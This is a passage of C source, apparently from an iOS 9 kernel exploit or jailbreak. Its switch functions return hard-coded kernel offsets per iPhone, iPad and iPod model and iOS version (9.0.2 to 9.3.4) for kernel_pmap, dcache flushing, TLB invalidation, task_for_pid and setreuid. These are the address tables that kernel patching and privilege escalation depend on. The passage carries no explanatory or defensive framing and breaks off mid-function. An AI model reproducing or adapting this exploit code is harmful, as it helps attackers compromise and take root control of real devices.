0x45d978;1447case iPhone52_iOS902: return 0x45c0c4;1448case iPhone52_iOS910: return 0x45e154;1449case iPhone52_iOS920: return 0x455964;1450case iPhone52_iOS921: return 0x455964;1451case iPhone52_iOS930: return 0x45d978;1452case iPhone52_iOS931: return 0x45d978;1453case iPhone52_iOS932: return 0x45d978;1454case iPhone52_iOS933: return 0x45d978;1455case iPhone52_iOS934: return 0x45d978;1456case iPhone53_iOS910: return 0x45e154;1457case iPhone53_iOS920: return 0x455964;1458case iPhone53_iOS921: return 0x455964;1459case iPhone53_iOS930: return 0x45d978;1460case iPhone53_iOS931: return 0x45d978;1461case iPhone53_iOS932: return 0x45d978;1462case iPhone53_iOS933: return 0x45d978;1463case iPhone53_iOS934: return 0x45d978;1464case iPhone54_iOS910: return 0x45e154;1465case iPhone54_iOS920: return 0x455964;1466case iPhone54_iOS921: return 0x455964;1467case iPhone54_iOS930: return 0x45D978;1468case iPhone54_iOS931: return 0x45d978;1469case iPhone54_iOS932: return 0x45d978;1470case iPhone54_iOS933: return 0x45d978;1471case iPhone54_iOS934: return 0x45d978;1472case iPad21_iOS910: return 0x457030;1473case iPad21_iOS920: return 0x44e840;1474case iPad21_iOS921: return 0x44e840;1475case iPad21_iOS930: return 0x455844;1476case iPad21_iOS931: return 0x455844;1477case iPad21_iOS932: return 0x455844;1478case iPad21_iOS933: return 0x455844;1479case iPad21_iOS934: return 0x455844;1480case iPad22_iOS910: return 0x457030;1481case iPad22_iOS920: return 0x44e840;1482case iPad22_iOS921: return 0x44e840;1483case iPad22_iOS930: return 0x455844;1484case iPad22_iOS931: return 0x455844;1485case iPad22_iOS932: return 0x455844;1486case iPad22_iOS933: return 0x455844;1487case iPad22_iOS934: return 0x455844;1488case iPad23_iOS910: return 0x457030;1489case iPad23_iOS920: return 0x44e840;1490case iPad23_iOS921: return 0x44e840;1491case iPad23_iOS930: return 0x455844;1492case iPad23_iOS931: return 0x455844;1493case iPad23_iOS932: return 0x455844;1494case iPad23_iOS933: return 0x455844;1495case iPad23_iOS934: return 0x455844;1496case iPad24_iOS910: return 0x457030;1497case iPad24_iOS920: return 0x44e840;1498case iPad24_iOS921: return 0x44e840;1499case iPad24_iOS930: return 0x455844;1500case iPad24_iOS931: return 0x455844;1501case iPad24_iOS932: return 0x455844;1502case iPad24_iOS933: return 0x455844;1503case iPad24_iOS934: return 0x455844;1504case iPad25_iOS902: return 0x455fa0;1505case iPad31_iOS910: return 0x457030;1506case iPad31_iOS920: return 0x44e840;1507case iPad31_iOS921: return 0x44e840;1508case iPad31_iOS930: return 0x455844;1509case iPad31_iOS931: return 0x455844;1510case iPad31_iOS932: return 0x455844;1511case iPad31_iOS933: return 0x455844;1512case iPad31_iOS934: return 0x455844;1513case iPad32_iOS910: return 0x457030;1514case iPad32_iOS920: return 0x44e840;1515case iPad32_iOS921: return 0x44e840;1516case iPad32_iOS930: return 0x455844;1517case iPad32_iOS931: return 0x455844;1518case iPad32_iOS932: return 0x455844;1519case iPad32_iOS933: return 0x455844;1520case iPad32_iOS934: return 0x455844;1521case iPad33_iOS902: return 0x455fa0;1522case iPad33_iOS910: return 0x457030;1523case iPad33_iOS920: return 0x44e840;1524case iPad33_iOS921: return 0x44e840;1525case iPad33_iOS930: return 0x455844;1526case iPad33_iOS931: return 0x455844;1527case iPad33_iOS932: return 0x455844;1528case iPad33_iOS933: return 0x455844;1529case iPad33_iOS934: return 0x455844;1530case iPad34_iOS910: return 0x45e154;1531case iPad34_iOS920: return 0x455964;1532case iPad34_iOS921: return 0x455964;1533case iPad34_iOS930: return 0x45d978;1534case iPad34_iOS931: return 0x45d978;1535case iPad34_iOS932: return 0x45d978;1536case iPad34_iOS933: return 0x45d978;1537case iPad34_iOS934: return 0x45d978;1538case iPad35_iOS910: return 0x45e154;1539case iPad35_iOS920: return 0x455964;1540case iPad35_iOS921: return 0x455964;1541case iPad35_iOS930: return 0x45d978;1542case iPad35_iOS931: return 0x45d978;1543case iPad35_iOS932: return 0x45d978;1544case iPad35_iOS933: return 0x45d978;1545case iPad35_iOS934: return 0x45d978;1546case iPad36_iOS910: return 0x45e154;1547case iPad36_iOS920: return 0x455964;1548case iPad36_iOS921: return 0x455964;1549case iPad36_iOS930: return 0x45d978;1550case iPad36_iOS931: return 0x45d978;1551case iPad36_iOS932: return 0x45d978;1552case iPad36_iOS933: return 0x45d978;1553case iPad36_iOS934: return 0x45d978;1554case iPod51_iOS910: return 0x457030;1555case iPod51_iOS920: return 0x44e840;1556case iPod51_iOS921: return 0x44e840;1557case iPod51_iOS930: return 0x455844;1558case iPod51_iOS931: return 0x455844;1559case iPod51_iOS932: return 0x455844;1560case iPod51_iOS933: return 0x455844;1561case iPod51_iOS934: return 0x455844;1562default: return 0;1563}1564}15651566static inline unsigned int find_kernel_pmap(void) {1567switch (target_environment) {1568case iPhone41_iOS902: return 0x3f7444;1569case iPhone41_iOS910: return 0x3f8444;1570case iPhone41_iOS920: return 0x3ef444;1571case iPhone41_iOS921: return 0x3ef444;1572case iPhone41_iOS930: return 0x3f6454;1573case iPhone41_iOS931: return 0x3f6454;1574case iPhone41_iOS932: return 0x3f6454;1575case iPhone41_iOS933: return 0x3f6454;1576case iPhone41_iOS934: return 0x3f6454;1577case iPhone51_iOS910: return 0x3ff444;1578case iPhone51_iOS920: return 0x3f6444;1579case iPhone51_iOS921: return 0x3f6444;1580case iPhone51_iOS930: return 0x3fe454;1581case iPhone51_iOS931: return 0x3fe454;1582case iPhone51_iOS932: return 0x3fe454;1583case iPhone51_iOS933: return 0x3fe454;1584case iPhone51_iOS934: return 0x3fe454;1585case iPhone52_iOS902: return 0x3fd444;1586case iPhone52_iOS910: return 0x3ff444;1587case iPhone52_iOS920: return 0x3f6444;1588case iPhone52_iOS921: return 0x3f6444;1589case iPhone52_iOS930: return 0x3fe454;1590case iPhone52_iOS931: return 0x3fe454;1591case iPhone52_iOS932: return 0x3fe454;1592case iPhone52_iOS933: return 0x3fe454;1593case iPhone52_iOS934: return 0x3fe454;1594case iPhone53_iOS910: return 0x3ff444;1595case iPhone53_iOS920: return 0x3f6444;1596case iPhone53_iOS921: return 0x3f6444;1597case iPhone53_iOS930: return 0x3fe454;1598case iPhone53_iOS931: return 0x3fe454;1599case iPhone53_iOS932: return 0x3fe454;1600case iPhone53_iOS933: return 0x3fe454;1601case iPhone53_iOS934: return 0x3fe454;1602case iPhone54_iOS910: return 0x3ff444;1603case iPhone54_iOS920: return 0x3f6444;1604case iPhone54_iOS921: return 0x3f6444;1605case iPhone54_iOS930: return 0x3fe454;1606case iPhone54_iOS931: return 0x3fe454;1607case iPhone54_iOS932: return 0x3fe454;1608case iPhone54_iOS933: return 0x3fe454;1609case iPhone54_iOS934: return 0x3fe454;1610case iPad21_iOS910: return 0x3f8444;1611case iPad21_iOS920: return 0x3ef444;1612case iPad21_iOS921: return 0x3ef444;1613case iPad21_iOS930: return 0x3f6454;1614case iPad21_iOS931: return 0x3f6454;1615case iPad21_iOS932: return 0x3f6454;1616case iPad21_iOS933: return 0x3f6454;1617case iPad21_iOS934: return 0x3f6454;1618case iPad22_iOS910: return 0x3f8444;1619case iPad22_iOS920: return 0x3ef444;1620case iPad22_iOS921: return 0x3ef444;1621case iPad22_iOS930: return 0x3f6454;1622case iPad22_iOS931: return 0x3f6454;1623case iPad22_iOS932: return 0x3f6454;1624case iPad22_iOS933: return 0x3f6454;1625case iPad22_iOS934: return 0x3f6454;1626case iPad23_iOS910: return 0x3f8444;1627case iPad23_iOS920: return 0x3ef444;1628case iPad23_iOS921: return 0x3ef444;1629case iPad23_iOS930: return 0x3f6454;1630case iPad23_iOS931: return 0x3f6454;1631case iPad23_iOS932: return 0x3f6454;1632case iPad23_iOS933: return 0x3f6454;1633case iPad23_iOS934: return 0x3f6454;1634case iPad24_iOS910: return 0x3f8444;1635case iPad24_iOS920: return 0x3ef444;1636case iPad24_iOS921: return 0x3ef444;1637case iPad24_iOS930: return 0x3f6454;1638case iPad24_iOS931: return 0x3f6454;1639case iPad24_iOS932: return 0x3f6454;1640case iPad24_iOS933: return 0x3f6454;1641case iPad24_iOS934: return 0x3f6454;1642case iPad25_iOS902: return 0x3f7444;1643case iPad31_iOS910: return 0x3f8444;1644case iPad31_iOS920: return 0x3ef444;1645case iPad31_iOS921: return 0x3ef444;1646case iPad31_iOS930: return 0x3f6454;1647case iPad31_iOS931: return 0x3f6454;1648case iPad31_iOS932: return 0x3f6454;1649case iPad31_iOS933: return 0x3f6454;1650case iPad31_iOS934: return 0x3f6454;1651case iPad32_iOS910: return 0x3f8444;1652case iPad32_iOS920: return 0x3ef444;1653case iPad32_iOS921: return 0x3ef444;1654case iPad32_iOS930: return 0x3f6454;1655case iPad32_iOS931: return 0x3f6454;1656case iPad32_iOS932: return 0x3f6454;1657case iPad32_iOS933: return 0x3f6454;1658case iPad32_iOS934: return 0x3f6454;1659case iPad33_iOS902: return 0x3f7444;1660case iPad33_iOS910: return 0x3f8444;1661case iPad33_iOS920: return 0x3ef444;1662case iPad33_iOS921: return 0x3ef444;1663case iPad33_iOS930: return 0x3f6454;1664case iPad33_iOS931: return 0x3f6454;1665case iPad33_iOS932: return 0x3f6454;1666case iPad33_iOS933: return 0x3f6454;1667case iPad33_iOS934: return 0x3f6454;1668case iPad34_iOS910: return 0x3ff444;1669case iPad34_iOS920: return 0x3f6444;1670case iPad34_iOS921: return 0x3f6444;1671case iPad34_iOS930: return 0x3fe454;1672case iPad34_iOS931: return 0x3fe454;1673case iPad34_iOS932: return 0x3fe454;1674case iPad34_iOS933: return 0x3fe454;1675case iPad34_iOS934: return 0x3fe454;1676case iPad35_iOS910: return 0x3ff444;1677case iPad35_iOS920: return 0x3f6444;1678case iPad35_iOS921: return 0x3f6444;1679case iPad35_iOS930: return 0x3fe454;1680case iPad35_iOS931: return 0x3fe454;1681case iPad35_iOS932: return 0x3fe454;1682case iPad35_iOS933: return 0x3fe454;1683case iPad35_iOS934: return 0x3fe454;1684case iPad36_iOS910: return 0x3ff444;1685case iPad36_iOS920: return 0x3f6444;1686case iPad36_iOS921: return 0x3f6444;1687case iPad36_iOS930: return 0x3fe454;1688case iPad36_iOS931: return 0x3fe454;1689case iPad36_iOS932: return 0x3fe454;1690case iPad36_iOS933: return 0x3fe454;1691case iPad36_iOS934: return 0x3fe454;1692case iPod51_iOS910: return 0x3f8444;1693case iPod51_iOS920: return 0x3ef444;1694case iPod51_iOS921: return 0x3ef444;1695case iPod51_iOS930: return 0x3f6454;1696case iPod51_iOS931: return 0x3f6454;1697case iPod51_iOS932: return 0x3f6454;1698case iPod51_iOS933: return 0x3f6454;1699case iPod51_iOS934: return 0x3f6454;1700default: return 0;1701}1702}17031704static inline unsigned int find_flush_dcache(void) {1705switch (target_environment) {1706case iPhone41_iOS902: return 0xbc9b8;1707case iPhone41_iOS910: return 0xbcb7c;1708case iPhone41_iOS920: return 0xbb710;1709case iPhone41_iOS921: return 0xbb760;1710case iPhone41_iOS930: return 0xbc250;1711case iPhone41_iOS931: return 0xbc250;1712case iPhone41_iOS932: return 0xbc260;1713case iPhone41_iOS933: return 0xbc1d4;1714case iPhone41_iOS934: return 0xbc1d4;1715case iPhone51_iOS910: return 0xbf770;1716case iPhone51_iOS920: return 0xbe598;1717case iPhone51_iOS921: return 0xbe5d8;1718case iPhone51_iOS930: return 0xbf284;1719case iPhone51_iOS931: return 0xbf284;1720case iPhone51_iOS932: return 0xbf274;1721case iPhone51_iOS933: return 0xbf404;1722case iPhone51_iOS934: return 0xbf404;1723case iPhone52_iOS902: return 0xbf5ac;1724case iPhone52_iOS910: return 0xbf770;1725case iPhone52_iOS920: return 0xbe598;1726case iPhone52_iOS921: return 0xbe610;1727case iPhone52_iOS930: return 0xbf2bc;1728case iPhone52_iOS931: return 0xbf284;1729case iPhone52_iOS932: return 0xbf284;1730case iPhone52_iOS933: return 0xbf404;1731case iPhone52_iOS934: return 0xbf404;1732case iPhone53_iOS910: return 0xbf770;1733case iPhone53_iOS920: return 0xbe598;1734case iPhone53_iOS921: return 0xbe610;1735case iPhone53_iOS930: return 0xbf284;1736case iPhone53_iOS931: return 0xbf284;1737case iPhone53_iOS932: return 0xbf274;1738case iPhone53_iOS933: return 0xbf404;1739case iPhone53_iOS934: return 0xbf404;1740case iPhone54_iOS910: return 0xbf770;1741case iPhone54_iOS920: return 0xbe598;1742case iPhone54_iOS921: return 0xbe5d8;1743case iPhone54_iOS930: return 0xbf284;1744case iPhone54_iOS931: return 0xbf284;1745case iPhone54_iOS932: return 0xbf274;1746case iPhone54_iOS933: return 0xbf404;1747case iPhone54_iOS934: return 0xbf404;1748case iPad21_iOS910: return 0xbcb7c;1749case iPad21_iOS920: return 0xbb710;1750case iPad21_iOS921: return 0xbb760;1751case iPad21_iOS930: return 0xbc250;1752case iPad21_iOS931: return 0xbc250;1753case iPad21_iOS932: return 0xbc260;1754case iPad21_iOS933: return 0xbc1d4;1755case iPad21_iOS934: return 0xbc1d4;1756case iPad22_iOS910: return 0xbcb7c;1757case iPad22_iOS920: return 0xbb710;1758case iPad22_iOS921: return 0xbb760;1759case iPad22_iOS930: return 0xbc250;1760case iPad22_iOS931: return 0xbc250;1761case iPad22_iOS932: return 0xbc260;1762case iPad22_iOS933: return 0xbc1d4;1763case iPad22_iOS934: return 0xbc1d4;1764case iPad23_iOS910: return 0xbcb7c;1765case iPad23_iOS920: return 0xbb710;1766case iPad23_iOS921: return 0xbb760;1767case iPad23_iOS930: return 0xbc250;1768case iPad23_iOS931: return 0xbc250;1769case iPad23_iOS932: return 0xbc260;1770case iPad23_iOS933: return 0xbc1d8;1771case iPad23_iOS934: return 0xbc1d4;1772case iPad24_iOS910: return 0xbcb7c;1773case iPad24_iOS920: return 0xbb710;1774case iPad24_iOS921: return 0xbb760;1775case iPad24_iOS930: return 0xbc250;1776case iPad24_iOS931: return 0xbc250;1777case iPad24_iOS932: return 0xbc260;1778case iPad24_iOS933: return 0xbc1d8;1779case iPad24_iOS934: return 0xbc1d4;1780case iPad25_iOS902: return 0xbc9b8;1781case iPad31_iOS910: return 0xbcb7c;1782case iPad31_iOS920: return 0xbb710;1783case iPad31_iOS921: return 0xbb760;1784case iPad31_iOS930: return 0xbc250;1785case iPad31_iOS931: return 0xbc250;1786case iPad31_iOS932: return 0xbc260;1787case iPad31_iOS933: return 0xbc1d4;1788case iPad31_iOS934: return 0xbc1d4;1789case iPad32_iOS910: return 0xbcb7c;1790case iPad32_iOS920: return 0xbb710;1791case iPad32_iOS921: return 0xbb760;1792case iPad32_iOS930: return 0xbc250;1793case iPad32_iOS931: return 0xbc250;1794case iPad32_iOS932: return 0xbc260;1795case iPad32_iOS933: return 0xbc1d4;1796case iPad32_iOS934: return 0xbc1d4;1797case iPad33_iOS902: return 0xbc9b8;1798case iPad33_iOS910: return 0xbcb7c;1799case iPad33_iOS920: return 0xbb710;1800case iPad33_iOS921: return 0xbb760;1801case iPad33_iOS930: return 0xbc250;1802case iPad33_iOS931: return 0xbc250;1803case iPad33_iOS932: return 0xbc260;1804case iPad33_iOS933: return 0xbc1d4;1805case iPad33_iOS934: return 0xbc1d4;1806case iPad34_iOS910: return 0xbf770;1807case iPad34_iOS920: return 0xbe598;1808case iPad34_iOS921: return 0xbe5d8;1809case iPad34_iOS930: return 0xbf284;1810case iPad34_iOS931: return 0xbf284;1811case iPad34_iOS932: return 0xbf274;1812case iPad34_iOS933: return 0xbf404;1813case iPad34_iOS934: return 0xbf404;1814case iPad35_iOS910: return 0xbf770;1815case iPad35_iOS920: return 0xbe598;1816case iPad35_iOS921: return 0xbe5d8;1817case iPad35_iOS930: return 0xbf284;1818case iPad35_iOS931: return 0xbf284;1819case iPad35_iOS932: return 0xbf274;1820case iPad35_iOS933: return 0xbf404;1821case iPad35_iOS934: return 0xbf404;1822case iPad36_iOS910: return 0xbf770;1823case iPad36_iOS920: return 0xbe598;1824case iPad36_iOS921: return 0xbe5d8;1825case iPad36_iOS930: return 0xbf284;1826case iPad36_iOS931: return 0xbf284;1827case iPad36_iOS932: return 0xbf274;1828case iPad36_iOS933: return 0xbf404;1829case iPad36_iOS934: return 0xbf404;1830case iPod51_iOS910: return 0xbcb7c;1831case iPod51_iOS920: return 0xbb710;1832case iPod51_iOS921: return 0xbb760;1833case iPod51_iOS930: return 0xbc250;1834case iPod51_iOS931: return 0xbc250;1835case iPod51_iOS932: return 0xbc260;1836case iPod51_iOS933: return 0xbc1d4;1837case iPod51_iOS934: return 0xbc1d4;1838default: return 0;1839}1840}18411842static inline unsigned int find_invalidate_tlb(void) {1843switch (target_environment) {1844case iPhone41_iOS902: return 0xc74e0;1845case iPhone41_iOS910: return 0xc74e0;1846case iPhone41_iOS920: return 0xc64e0;1847case iPhone41_iOS921: return 0xc64e0;1848case iPhone41_iOS930: return 0xc7440;1849case iPhone41_iOS931: return 0xc7440;1850case iPhone41_iOS932: return 0xc7440;1851case iPhone41_iOS933: return 0xc7440;1852case iPhone41_iOS934: return 0xc7440;1853case iPhone51_iOS910: return 0xcb600;1854case iPhone51_iOS920: return 0xca600;1855case iPhone51_iOS921: return 0xca600;1856case iPhone51_iOS930: return 0xcb560;1857case iPhone51_iOS931: return 0xcb560;1858case iPhone51_iOS932: return 0xcb560;1859case iPhone51_iOS933: return 0xcb560;1860case iPhone51_iOS934: return 0xcb560;1861case iPhone52_iOS902: return 0xcb600;1862case iPhone52_iOS910: return 0xcb600;1863case iPhone52_iOS920: return 0xca600;1864case iPhone52_iOS921: return 0xca600;1865case iPhone52_iOS930: return 0xcb560;1866case iPhone52_iOS931: return 0xcb560;1867case iPhone52_iOS932: return 0xcb560;1868case iPhone52_iOS933: return 0xcb560;1869case iPhone52_iOS934: return 0xcb560;1870case iPhone53_iOS910: return 0xcb600;1871case iPhone53_iOS920: return 0xca600;1872case iPhone53_iOS921: return 0xca600;1873case iPhone53_iOS930: return 0xcb560;1874case iPhone53_iOS931: return 0xcb560;1875case iPhone53_iOS932: return 0xcb560;1876case iPhone53_iOS933: return 0xcb560;1877case iPhone53_iOS934: return 0xcb560;1878case iPhone54_iOS910: return 0xcb600;1879case iPhone54_iOS920: return 0xca600;1880case iPhone54_iOS921: return 0xca600;1881case iPhone54_iOS930: return 0xcb560;1882case iPhone54_iOS931: return 0xcb560;1883case iPhone54_iOS932: return 0xcb560;1884case iPhone54_iOS933: return 0xcb560;1885case iPhone54_iOS934: return 0xcb560;1886case iPad21_iOS910: return 0xc74e0;1887case iPad21_iOS920: return 0xc64e0;1888case iPad21_iOS921: return 0xc64e0;1889case iPad21_iOS930: return 0xc7440;1890case iPad21_iOS931: return 0xc7440;1891case iPad21_iOS932: return 0xc7440;1892case iPad21_iOS933: return 0xc7440;1893case iPad21_iOS934: return 0xc7440;1894case iPad22_iOS910: return 0xc74e0;1895case iPad22_iOS920: return 0xc64e0;1896case iPad22_iOS921: return 0xc64e0;1897case iPad22_iOS930: return 0xc7440;1898case iPad22_iOS931: return 0xc7440;1899case iPad22_iOS932: return 0xc7440;1900case iPad22_iOS933: return 0xc7440;1901case iPad22_iOS934: return 0xc7440;1902case iPad23_iOS910: return 0xc74e0;1903case iPad23_iOS920: return 0xc64e0;1904case iPad23_iOS921: return 0xc64e0;1905case iPad23_iOS930: return 0xc7440;1906case iPad23_iOS931: return 0xc7440;1907case iPad23_iOS932: return 0xc7440;1908case iPad23_iOS933: return 0xc7450;1909case iPad23_iOS934: return 0xc7440;1910case iPad24_iOS910: return 0xc74e0;1911case iPad24_iOS920: return 0xc64e0;1912case iPad24_iOS921: return 0xc64e0;1913case iPad24_iOS930: return 0xc7440;1914case iPad24_iOS931: return 0xc7440;1915case iPad24_iOS932: return 0xc7440;1916case iPad24_iOS933: return 0xc7450;1917case iPad24_iOS934: return 0xc7440;1918case iPad25_iOS902: return 0xc74e0;1919case iPad31_iOS910: return 0xc74e0;1920case iPad31_iOS920: return 0xc64e0;1921case iPad31_iOS921: return 0xc64e0;1922case iPad31_iOS930: return 0xc7440;1923case iPad31_iOS931: return 0xc7440;1924case iPad31_iOS932: return 0xc7440;1925case iPad31_iOS933: return 0xc7440;1926case iPad31_iOS934: return 0xc7440;1927case iPad32_iOS910: return 0xc74e0;1928case iPad32_iOS920: return 0xc64e0;1929case iPad32_iOS921: return 0xc64e0;1930case iPad32_iOS930: return 0xc7440;1931case iPad32_iOS931: return 0xc7440;1932case iPad32_iOS932: return 0xc7440;1933case iPad32_iOS933: return 0xc7440;1934case iPad32_iOS934: return 0xc7440;1935case iPad33_iOS902: return 0xc74e0;1936case iPad33_iOS910: return 0xc74e0;1937case iPad33_iOS920: return 0xc64e0;1938case iPad33_iOS921: return 0xc64e0;1939case iPad33_iOS930: return 0xc7440;1940case iPad33_iOS931: return 0xc7440;1941case iPad33_iOS932: return 0xc7440;1942case iPad33_iOS933: return 0xc7440;1943case iPad33_iOS934: return 0xc7440;1944case iPad34_iOS910: return 0xcb600;1945case iPad34_iOS920: return 0xca600;1946case iPad34_iOS921: return 0xca600;1947case iPad34_iOS930: return 0xcb560;1948case iPad34_iOS931: return 0xcb560;1949case iPad34_iOS932: return 0xcb560;1950case iPad34_iOS933: return 0xcb560;1951case iPad34_iOS934: return 0xcb560;1952case iPad35_iOS910: return 0xcb600;1953case iPad35_iOS920: return 0xca600;1954case iPad35_iOS921: return 0xca600;1955case iPad35_iOS930: return 0xcb560;1956case iPad35_iOS931: return 0xcb560;1957case iPad35_iOS932: return 0xcb560;1958case iPad35_iOS933: return 0xcb560;1959case iPad35_iOS934: return 0xcb560;1960case iPad36_iOS910: return 0xcb600;1961case iPad36_iOS920: return 0xca600;1962case iPad36_iOS921: return 0xca600;1963case iPad36_iOS930: return 0xcb560;1964case iPad36_iOS931: return 0xcb560;1965case iPad36_iOS932: return 0xcb560;1966case iPad36_iOS933: return 0xcb560;1967case iPad36_iOS934: return 0xcb560;1968case iPod51_iOS910: return 0xc74e0;1969case iPod51_iOS920: return 0xc64e0;1970case iPod51_iOS921: return 0xc64e0;1971case iPod51_iOS930: return 0xc7440;1972case iPod51_iOS931: return 0xc7440;1973case iPod51_iOS932: return 0xc7440;1974case iPod51_iOS933: return 0xc7440;1975case iPod51_iOS934: return 0xc7440;1976default: return 0;1977}1978}19791980static inline unsigned int find_task_for_pid(void) {1981switch (target_environment) {1982case iPhone41_iOS902: return 0x2fca70;1983case iPhone41_iOS910: return 0x2fe034;1984case iPhone41_iOS920: return 0x2f55b4;1985case iPhone41_iOS921: return 0x2f56c4;1986case iPhone41_iOS930: return 0x2fcc8c;1987case iPhone41_iOS931: return 0x2fcc8c;1988case iPhone41_iOS932: return 0x2fcd80;1989case iPhone41_iOS933: return 0x2fcec0;1990case iPhone41_iOS934: return 0x2fcec0;1991case iPhone51_iOS910: return 0x3040a4;1992case iPhone51_iOS920: return 0x2fbb8c;1993case iPhone51_iOS921: return 0x2fbc9c;1994case iPhone51_iOS930: return 0x302e3c;1995case iPhone51_iOS931: return 0x302e3c;1996case iPhone51_iOS932: return 0x302df0;1997case iPhone51_iOS933: return 0x302fd4;1998case iPhone51_iOS934: return 0x302fd4;1999case iPhone52_iOS902: return 0x302bdc;2000case iPhone52_iOS910: return 0x3040a4;2001case iPhone52_iOS920: return 0x2fbb8c;2002case iPhone52_iOS921: return 0x2fbc9c;2003case iPhone52_iOS930: return 0x302e3c;2004case iPhone52_iOS931: return 0x302e3c;2005case iPhone52_iOS932: return 0x302df0;2006case iPhone52_iOS933: return 0x302fd4;2007case iPhone52_iOS934: return 0x302fd4;2008case iPhone53_iOS910: return 0x3040a4;2009case iPhone53_iOS920: return 0x2fbb8c;2010case iPhone53_iOS921: return 0x2fbc9c;2011case iPhone53_iOS930: return 0x302e3c;2012case iPhone53_iOS931: return 0x302e3c;2013case iPhone53_iOS932: return 0x302df0;2014case iPhone53_iOS933: return 0x302fd4;2015case iPhone53_iOS934: return 0x302fd4;2016case iPhone54_iOS910: return 0x3040a4;2017case iPhone54_iOS920: return 0x2fbb8c;2018case iPhone54_iOS921: return 0x2fbc9c;2019case iPhone54_iOS930: return 0x302e3c;2020case iPhone54_iOS931: return 0x302e3c;2021case iPhone54_iOS932: return 0x302df0;2022case iPhone54_iOS933: return 0x302fd4;2023case iPhone54_iOS934: return 0x302fd4;2024case iPad21_iOS910: return 0x2fe034;2025case iPad21_iOS920: return 0x2f55b4;2026case iPad21_iOS921: return 0x2f56c4;2027case iPad21_iOS930: return 0x2fcc8c;2028case iPad21_iOS931: return 0x2fcc8c;2029case iPad21_iOS932: return 0x2fcd80;2030case iPad21_iOS933: return 0x2fcec0;2031case iPad21_iOS934: return 0x2fcec0;2032case iPad22_iOS910: return 0x2fe034;2033case iPad22_iOS920: return 0x2f55b4;2034case iPad22_iOS921: return 0x2f56c4;2035case iPad22_iOS930: return 0x2fcc8c;2036case iPad22_iOS931: return 0x2fcc8c;2037case iPad22_iOS932: return 0x2fcd80;2038case iPad22_iOS933: return 0x2fcec0;2039case iPad22_iOS934: return 0x2fcec0;2040case iPad23_iOS910: return 0x2fe034;2041case iPad23_iOS920: return 0x2f55b4;2042case iPad23_iOS921: return 0x2f56c4;2043case iPad23_iOS930: return 0x2fcc8c;2044case iPad23_iOS931: return 0x2fcc8c;2045case iPad23_iOS932: return 0x2fcd80;2046case iPad23_iOS933: return 0x2fcec0;2047case iPad23_iOS934: return 0x2fcec0;2048case iPad24_iOS910: return 0x2fe034;2049case iPad24_iOS920: return 0x2f55b4;2050case iPad24_iOS921: return 0x2f56c4;2051case iPad24_iOS930: return 0x2fcc8c;2052case iPad24_iOS931: return 0x2fcc8c;2053case iPad24_iOS932: return 0x2fcd80;2054case iPad24_iOS933: return 0x2fcec0;2055case iPad24_iOS934: return 0x2fcec0;2056case iPad25_iOS902: return 0x2fca70;2057case iPad31_iOS910: return 0x2fe034;2058case iPad31_iOS920: return 0x2f55b4;2059case iPad31_iOS921: return 0x2f56c4;2060case iPad31_iOS930: return 0x2fcc8c;2061case iPad31_iOS931: return 0x2fcc8c;2062case iPad31_iOS932: return 0x2fcd80;2063case iPad31_iOS933: return 0x2fcec0;2064case iPad31_iOS934: return 0x2fcec0;2065case iPad32_iOS910: return 0x2fe034;2066case iPad32_iOS920: return 0x2f55b4;2067case iPad32_iOS921: return 0x2f56c4;2068case iPad32_iOS930: return 0x2fcc8c;2069case iPad32_iOS931: return 0x2fcc8c;2070case iPad32_iOS932: return 0x2fcd80;2071case iPad32_iOS933: return 0x2fcec0;2072case iPad32_iOS934: return 0x2fcec0;2073case iPad33_iOS902: return 0x2fca70;2074case iPad33_iOS910: return 0x2fe034;2075case iPad33_iOS920: return 0x2f55b4;2076case iPad33_iOS921: return 0x2f56c4;2077case iPad33_iOS930: return 0x2fcc8c;2078case iPad33_iOS931: return 0x2fcc8c;2079case iPad33_iOS932: return 0x2fcd80;2080case iPad33_iOS933: return 0x2fcec0;2081case iPad33_iOS934: return 0x2fcec0;2082case iPad34_iOS910: return 0x3040a4;2083case iPad34_iOS920: return 0x2fbb8c;2084case iPad34_iOS921: return 0x2fbc9c;2085case iPad34_iOS930: return 0x302e3c;2086case iPad34_iOS931: return 0x302e3c;2087case iPad34_iOS932: return 0x302df0;2088case iPad34_iOS933: return 0x302fd4;2089case iPad34_iOS934: return 0x302fd4;2090case iPad35_iOS910: return 0x3040a4;2091case iPad35_iOS920: return 0x2fbb8c;2092case iPad35_iOS921: return 0x2fbc9c;2093case iPad35_iOS930: return 0x302e3c;2094case iPad35_iOS931: return 0x302e3c;2095case iPad35_iOS932: return 0x302df0;2096case iPad35_iOS933: return 0x302fd4;2097case iPad35_iOS934: return 0x302fd4;2098case iPad36_iOS910: return 0x3040a4;2099case iPad36_iOS920: return 0x2fbb8c;2100case iPad36_iOS921: return 0x2fbc9c;2101case iPad36_iOS930: return 0x302e3c;2102case iPad36_iOS931: return 0x302e3c;2103case iPad36_iOS932: return 0x302df0;2104case iPad36_iOS933: return 0x302fd4;2105case iPad36_iOS934: return 0x302fd4;2106case iPod51_iOS910: return 0x2fe034;2107case iPod51_iOS920: return 0x2f55b4;2108case iPod51_iOS921: return 0x2f56c4;2109case iPod51_iOS930: return 0x2fcc8c;2110case iPod51_iOS931: return 0x2fcc8c;2111case iPod51_iOS932: return 0x2fcd80;2112case iPod51_iOS933: return 0x2fcec0;2113case iPod51_iOS934: return 0x2fcec0;2114default: return 0;2115}2116}21172118static inline unsigned int find_setreuid(void) {2119switch (target_environment) {2120case iPhone41_iOS902: return 0x2a9754;2121case iPhone41_iOS910: return 0x2aa31c;2122case iPhone41_iOS920: return 0x2a3ab4;2123case iPhone41_iOS921: return 0x2a3bc4;2124case iPhone41_iOS930: return 0x2a977c;2125case iPhone41_iOS931: return 0x2a977c;2126case iPhone41_iOS932: return 0x2a985c;2127case iPhone41_iOS933: return 0x2a9988;2128case iPhone41_iOS934: return 0x2a9988;2129case iPhone51_iOS910: return 0x2b00f0;2130case iPhone51_iOS920: return 0x2a9e24;2131case iPhone51_iOS921: return 0x2a9f34;2132case iPhone51_iOS930: return 0x2af658;2133case iPhone51_iOS931: return 0x2af658;2134case iPhone51_iOS932: return 0x2af5f8;2135case iPhone51_iOS933: return 0x2af7b8;2136case iPhone51_iOS934: return 0x2af7b8;2137case iPhone52_iOS902: return 0x2af674;2138case iPhone52_iOS910: return 0x2b00f0;2139case iPhone52_iOS920: return 0x2a9e24;2140case iPhone52_iOS921: return 0x2a9f34;2141case iPhone52_iOS930: return 0x2af658;2142case iPhone52_iOS931: return 0x2af658;2143case iPhone52_iOS932: return 0x2af5f8;2144case iPhone52_iOS933: return 0x2af7b8;2145case iPhone52_iOS934: return 0x2af7b8;2146case iPhone53_iOS910: return 0x2b00f0;2147case iPhone53_iOS920: return 